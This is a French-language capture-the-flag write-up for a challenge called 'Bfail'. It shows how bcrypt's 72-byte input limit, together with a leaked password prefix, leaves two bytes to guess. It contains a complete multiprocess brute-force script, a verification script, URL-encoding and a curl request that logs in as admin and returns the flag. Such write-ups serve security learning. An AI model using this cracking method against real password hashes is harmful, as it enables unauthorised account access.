Bfail :

URL: http://52.59.124.14:5013/ Flag : ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}

1. Contexte

On a une page de login un peu bidon. Dans le code source (accessible via /source ), on trouve :

  • Le formulaire de login qui est en POST, mais la route n’accepte que les GET.
  • La vérif se fait avec bcrypt.checkpw(password, app.ADMIN_PW_HASH) .
  • Le mot de passe de l’admin est généré avec 128 octets de données aléatoires, mais bcrypt ne prend en compte que les 72 premiers octets.
  • Le code source balance les premiers octets (environ 70/71 octets), donc il ne reste qu’à deviner les 2 derniers octets (65 536 possibilités).

2. Brute-force Off-Line

2.1. Brute-force Multicoeurs (bfail_brute_multi.py)

Disclaimer : Le script est optimisé pour une machine avec 24 coeurs. Si tu n’as pas un ordi de compète, adapte-le ! (ou achète un ordi de compète :kek:)

Script complet :

import bcrypt
import multiprocessing

partial = b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5\x24\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76'
pw_hash = b"$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK"

TOTAL = 65536

def worker(worker_id, start, end, verbose_step=1000):
    for i, val in enumerate(range(start, end)):
        b1 = val >> 8
        b2 = val & 0xff
        candidate = partial + bytes([b1, b2])
        candidate = candidate[:72]
        
        if bcrypt.checkpw(candidate, pw_hash):
            return (b1, b2)
        
        if i % verbose_step == 0:
            print(f"[Worker {worker_id}] {i+start} / {end} essais...")
    
    return None

def main():
    workers = 24  # Oh oui les 24 coeurs
    pool = multiprocessing.Pool(workers)
    
    step = TOTAL // workers
    remainder = TOTAL % workers
    tasks = []
    current_start = 0
    
    for w_id in range(workers):
        chunk_size = step + (1 if w_id < remainder else 0)
        current_end = current_start + chunk_size
        tasks.append(pool.apply_async(worker, args=(w_id, current_start, current_end)))
        current_start = current_end
    
    pool.close()
    pool.join()
    
    for t in tasks:
        result = t.get()
        if result:
            b1, b2 = result
            print("[+] FOUND CORRECT PASSWORD!")
            print("Last two bytes: 0x{:02x} 0x{:02x}".format(b1, b2))
            candidate = partial + bytes([b1, b2])
            candidate = candidate[:72]
            print("Full 72-byte password:", candidate)
            return

if __name__ == "__main__":
    main()

Output du script de compétition :

[+] FOUND CORRECT PASSWORD!
Last two bytes: 0xaa 0x00
Full 72-byte password:
b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xc
a#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7
$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf
76\xaa\x00'

2.2. Vérification du Candidat (testbcrypt.py)

On vérifie que les 72 premiers octets du candidat fonctionnent bien avec bcrypt :

import bcrypt
pw_hash = b"$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK"
candidate_73 =
b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5
$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\
xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76\xaa\x00'
candidate_72 = candidate_73[:72]
print('candidate_73 length:', len(candidate_73))
print('candidate_72 length:', len(candidate_72))
print('bcrypt.checkpw(candidate_72, pw_hash) ->',
bcrypt.checkpw(candidate_72, pw_hash))

Output :

candidate_73 length: 73 candidate_72 length: 72 bcrypt.checkpw(candidate_72,pw_hash) -> True

2.3. Génération de la Chaîne URLEncodée

Pour envoyer le mot de passe au serveur, il faut l’URLencoder exact. Important : Dans la chaîne binaire, le symbole dollar ( $ ) doit être échappé dans le shell en écrivant \$ .

Commande :

python3 -c "import urllib.parse; candidate_72 =
b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5
\$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I
\xd8gI\x15\xe9\xe7\$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76\xaa\x00'[:72];
print(urllib.parse.quote_from_bytes(candidate_72))"

Output :

%EC%9F%E0a%978%FC%B6%3AT%E2%A0%C9%3C%9E%1A%A5%FAo%B2%15%86%E5%24%86Z%1A%D4%C
A%23%15%D2x%A0%0E0%CA%BC%89T%C5V6%F1%A4%
A8S%8A%25I%D8gI%15%E9%E7%24M%15%DC%40%A9%A1%40%9C%EEe%E0%E0%F76%AA

3. Envoi de la Requête GET pour Obtenir le Flag

curl -v -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary
"username=admin&password=%EC%9F%E0a%978%FC%B6%3AT%E2%A0%C9%3C%9E%1A%A5%FAo%B2%15%86%E5%24%86Z%1A%D4%CA%23%15%D2x%A0%0E0%CA%BC%89T%C5V6%F1%A4%A8S%8A%25I%D8gI%15%E9%E7%24M%15%DC%40%A9%A1%40%9C%EEe%E0%E0%F76%AA" \
http://52.59.124.14:5013/

Réponse du serveur :

* Trying 52.59.124.14:5013...
* Connected to 52.59.124.14 (52.59.124.14) port 5013 (#0)
> GET / HTTP/1.1
> Host: 52.59.124.14:5013
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 206
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.1.3 Python/3.13.1
< Date: Sat, 01 Feb 2025 18:30:29 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 125
< Connection: close
<
* Closing connection 0
Congrats! It appears you have successfully bf'ed the password. Here is your
ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}

4. Conclusion

Pour résumer:

1 - Analyse du Code Source :

On a vu que le mot de passe de l’admin est généré sur 128 octets, mais bcrypt ne considère que les 72 premiers. Le code source balance déjà la majeure partie du mot de passe, donc il ne restait qu’à brute-forcer les 2 derniers octets (65 536 possibilités).

2 - Brute-force :

Le Script bfail_brute_multi.py de la mort qui tue a trouvé que les 2 derniers octets étaient 0xaa et 0x00.

3 - Vérification et Préparation :

Avec testbcrypt.py, on confirme que les 72 premiers octets (candidat correct) passent la vérif de bcrypt. Ensuite, il reste plus qu’a généré la chaîne URLencodée en prenant soin d’échapper les dollars.

4 - Envoi via curl :

On envoie pour finir la requête GET avec --data-binary pour que la donnée ne soit pas modifiée, et le serveur renvoie le flag.

Made with <3 with my best bro openai